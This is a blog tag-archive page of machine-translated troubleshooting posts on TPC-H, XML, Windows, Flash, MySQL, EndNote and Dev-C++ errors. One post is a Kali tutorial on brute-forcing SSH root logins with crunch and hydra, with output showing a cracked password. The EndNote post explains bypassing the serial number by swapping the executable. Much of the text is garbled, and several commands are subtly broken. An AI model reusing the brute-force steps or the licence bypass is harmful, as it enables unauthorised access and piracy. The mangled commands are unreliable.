Tag Archives: ProgrammerAH

Compiling TPC-H tools for Mac

Download TPC-H Tools
http://www.tpc.org/tpch/
1 modify the Makefile
Unzip the TPCH file and enter the dbgen directory.
cp makefile.suite makefile
Open the Makefile, find and modify the following lines (103~111)

################
## CHANGE NAME OF ANSI COMPILER HERE
################
CC      = gcc 
# Current values for DATABASE are: INFORMIX, DB2, TDAT (Teradata)
#                                  SQLSERVER, SYBASE, ORACLE, VECTORWISE
# Current values for MACHINE are:  ATT, DOS, HP, IBM, ICL, MVS, 
#                                  SGI, SUN, U2200, VMS, LINUX, WIN32 
# Current values for WORKLOAD are:  TPCH
DATABASE= SQLSERVER
MACHINE = LINUX
WORKLOAD = TPCH

2 compile
make
Because my computer is a Mac, I made an error compiling DBgen:

bm_utils.c:71:10: fatal error: 'malloc.h' file not found
#include <malloc.h>
         ^~~~~~~~~~
1 error generated.
make: *** [bm_utils.o] Error 1  # varsub.o

In the file where the error will be reported:

#include <malloc.h>

Modified to

#include <sys/malloc.h>

Done.
3 Generating data
./dbgen -s 1 -f
Convert.tbl data into CSV:
for I in 'ls *. TBL'; do sed 's/|$//' $i > ${i/tbl/csv}; echo $i; done;
4 Generate query data

Open failed for./1. SQL at qgen. C :170
Environment variable needs to be set: export DSS_QUERY=PATH_TO_QUERIES_FOLDER
generally, type export DSS_QUERY=queries


Mac does not have vmstat. Change vmstat in TpCH.sh to VM_stat

XML file should have root tag (extra content at the end of the document in file error)

From: http://bioinfo.ustc.edu.cn/seagven/?p=769

An error occurred parsing XML in PHP today:

DOMDocument::load() [domdocument.load]: Extra content at the end of the document in file *****

USES the following XML document

<?xml version="1.0" encoding="UTF-8"?>
  <SearchConstraints>
    <Begin>glucose</Begin>
    <End>Ethanol</End>
    <Interface>name</Interface>
    <IntermediatesInclude number="0"></IntermediatesInclude>
    <IntermediatesExclude> number="0"></IntermediatesExclude>
    <Organisms type="all"></Organisms>
    <KShort>10</KShort>
  </SearchConstraints>
  <StoPList>
    <StoP>
      <Source id="glucose"></Source>
      <Target id="Ethanol"></Target>
      <RouteList>
      </RouteList>
    </StoP>
  </StoPList>

problem:
There’s no tag!
XML files can only have one root tag!

change the XML to the following so that it’s ok, that is
Add a Document tag and put the previous two root tags SearchConstraints and StoPList under the Document tag, so that the entire XML file has only one root tag.

<?xml version="1.0" encoding="UTF-8"?>
<Document>
  <SearchConstraints>
    <Begin>glucose</Begin>
    <End>Ethanol</End>
    <Interface>name</Interface>
    <IntermediatesInclude number="0"></IntermediatesInclude>
    <IntermediatesExclude> number="0"></IntermediatesExclude>
    <Organisms type="all"></Organisms>
    <KShort>10</KShort>
  </SearchConstraints>
  <StoPList>
    <StoP>
      <Source id="glucose"></Source>
      <Target id="Ethanol"></Target>
      <RouteList>
      </RouteList>
    </StoP>
  </StoPList>
</Document>

Installing Windows Identity Foundation on Windows 8 – The Certificate for the signer of the message …

 
Just a very quick note here, in case you’re struggling to get Windows Identity Foundation installed on your Win8 development machine.
Have you been setting up another development machine for Azure development on Windows 8, and have run into a problem installing the Windows Identity Framework?  Yeah, me too.   The error message is “Windows Update Standalone Installer.   Installer encountered an error 0x80096002. The certificate for the signer of the message is invalid or not found.”
The short answer is that WIF is managed on Windows 8 using the “Turn Windows Features On and Off”.   You can get that by:
1. Punch that Windows key!
2. Type “Windows Features” and make sure you’ve chosen to search “Settings” from the search pane.
3. Click on “Turn Windows features on or off”
4. Check the box next to “Windows Identity Framework 3.5” (and yes, this supports .NET 3.5 and 4.0 applications).
5. Press “OK” and let setup do it’s thing.
You’re welcome!

Oracle EM certificate error SSL_ error_ weak_ server_ cert_ Key

Solutions:

Use the following certutil command in client CMD:

certutil -setreg chain\EnableWeakSignatureFlags 8

screen appears:

C:\Users\Administrator> 8 certutil – setreg chain \ EnableWeakSignatureFlags

\ Software \ Microsoft \ Cryptography \ OID EncodingType0 \ CertDllCreateCertificateChainEngine \ Config \ EnableWeakSignatureFlags:
the new values: EnableWeakSignatureFlags REG_DWORD = 8 CertUtil: -setreg command completed successfully.
The CertSvc service may need to be restarted for the changes to take effect.

then open EM with IE to

related search: WINDOWS certificate management CERTUTIL

[flash] error: “necessary system components are not working properly, please repair Adobe Flash Player” and error ා 2046

Problem description: internal network application loading flash page error: “necessary system components cannot run normally, please fix Adobe flash Player”

solution:
1. Necessary system components are not working properly. Please fix Adobe Flash Player
1. According to the reference in the first article,
“the problem is that the Flash Helper Service process fails to start properly, or the software Flash Helper service.exe is uninstalled.”
Flash Helper Service process is the Flash version of a Service, a rogue advertising, security software will be a shielding
“, if it exists, that process is not smooth start, following
1, open the “run” window, can quickly tap the Windows + r key, and then input services. MSC click ok
2, Service in the pop-up window, 3. Click “Flash Helper Service”, click “Flash Helper Service”, select properties, in the general page, change the startup type to “auto”, and then click “apply”, “ok”
4. Select “Flash Helper Service”, click “start”, and then reopen the browser after the startup.
2, if it does not exist, you can install the FlashRepairTool, the repair software is very simple to use, just download and double-click to open the scan problem, after which it will install Flash Helper service.exe, and then you can repeat the next step one, the problem can be solved!”

by comparison found that normal access computer flash13.0.0.199 version, the latest version is 32, uninstall 32 version, install 13 version of the problem solved.
flash13.0.0.199 forIE (IE8 under Windows 7 64) version download link
Second, the error# 2046
After installing version 13 of the 4 internal networks, one of them reported error#2046. After checking the 2 and 3 reference, it said that the time value was wrong and it was enough to modify the system time. However, it was found that the machine time was correct. The first time you clear the browser cache, it doesn’t seem to work, and then you check everything except passwords. A few other topologies are clicked and the problem is solved.
summary: the necessary system components did not work properly, please fix Adobe Flash Player: external network environment look up Flash Helper Service, internal network directly use Flash Player version 13
error#2046: first see if there is a problem with the system time, no problem clear the cache, multiple attempts.
Adobe Flash Player
1. Necessary system components are not working properly please fix Adobe Flash Player
2. 3. Failed to open FLASH (SWF), prompt Error #2046 solution summary

MySQL error 1030 got error 1 from storage engine

Today, the query on MySQL found that the reported error was 1030 Got error 1 from storage engine.
My MySQL for Innodb, I guess Innodb setup problem. Later, I looked for the information on the Internet and added innodb_force_recovery=0 in the configuration file my. Ini
Then, restart the MySQL service and it works correctly.

Kali brute force cracking course

This article is original, reprint please indicate the source and author!
Kali is a powerful weapon for infiltrators. Today, we will show beginners how to achieve burst quickly. The tools they need can be found in Kali. Without further ado, let’s get started
1. Open the terminal and run the command Crunch, which is a dictionary generation tool that can generate dictionaries according to users’ requirements. You can refer to the manual for the specific parameters, which can be briefly explained here:
crunch 1 4 charset.lst lalpha -o mypwd.txt
The above command generates a dictionary with a minimum of one character and a maximum of four characters. This dictionary is output to mypwd.txt file (so the -o option is used). Charset.lst lalpha is defined as the lalpha option in charset.lst file.
2 dictionary generation, the following please out of the Hydra, this tool parameters are also a lot of, you can look at the manual, here simply said:
Hydra -l root -w 10 – P PWD. TXT 14 – v – t 192.168.1.106 SSH

– l specify a user name, if you are not sure what is the target user name, that can put all of the user name in the dictionary file, and then use the -l user. TXT to specify a user name, – 10 is to specify no more than 10 s w, – P is specified password dictionary, also is the dictionary file generated in step, can pay attention to the path to find oh, – t is the number of threads, the default is 16, -V is the display of cracking process information, and finally the target IP and protocol.
After running, the target host was successfully cracked, as follows:

hydra v7.6 (c)2013 by van Hauser/THC & David Maciejak – for legal purposes only

Hydra (http://www.thc.org/thc-hydra) starting at 2015-04-05 17:09:58
[WARNING] Restorefile (./hydra.restore) from a previous session found, to prevent overwriting, you have 10 seconds to abort…
[DATA] 14 tasks, 1 server, 7380 login tries (l:1/p:7380), ~527 tries per task
[DATA] attacking service ssh on port 22
[VERBOSE] Resolving addresses … done
[ERROR] could not connect to target port 22
[ERROR] ssh protocol error
[ERROR] could not connect to target port 22
[ERROR] ssh protocol error
[VERBOSE] Retrying connection for Child 10
[VERBOSE] Retrying connection for child 12
[22][SSH] host: 192.168.1.106 login: root password: S
[STATUS] attack finished for 192.168.1.106 (waiting for children to complete tests)
1 of 1 target successful completed, 1 valid password found
Hydra (http://www.thc.org/thc-hydra) finished at 2015-04-05 17:10:15

2015. The tomb-sweeping day. Suvir

Internal error 2503 solution in endnote installation

Windows 10, 64
Internal Error2503 appeared when Endnote X9 was installed, followed by an error of Internal error2502.
I. Installation instructions
(1) Double-click [EndNote X9 V19.0.12062 Setup.msi] to install EndNote X9, choose to try it during installation, and do not run EndNote after installation;
(2) if you want to use the Chinese version, you can copy [endnote.exe] from the CHS folder to the software installation directory (right-click desktop software shortcut -> Property – & gt; Open the file location), replace the original file can.
(3) if you want to use the English version, you can copy [endnote.exe] in ENG folder to the installation directory of EndNote, and replace the original file to use directly for free. Note: no matter the English version or Chinese version is used, it can be used after substitution without the input of serial number.
EndNote installation directory default is:
64-bit system: C:\Program Files (x86)\EndNote X9
32-bit system: C:\Program Files\EndNote X9
Second, solutions
(1) Open the resource manager, find the program “Explorer.exe” in the column of “Details”, and click “End task (E)”
(2) Click “File (F)” in the menu bar of Resource Manager and select “Run New Task (N)”.
(3) Click the “Browse” button, and the file addition dialog box will pop up. Find “C disk –System–Windows– Select Explorer Application”, and finally click “Open”.
(4) Check “Create this task with System Permission”
(5) Through the above operation to complete the following operation as an administrator
After that, you can install Endnote software in the normal way, and there will be no error prompt of Internal Error 2503

About the problem of collect2.exe [error] LD returned 1 exit status in dev!!!

This is the problem I encountered in writing C++ code in DEV. Description of the problem: at the beginning, I didn’t know what option was checked, which led to collect2.exe [Error] ld returned 1 exit status for all C++ codes run.

solution: open tool -> Compile options -& GT; Code generation/optimization -& GT; Connector, let’s see if this link to the Objective C program checks this option.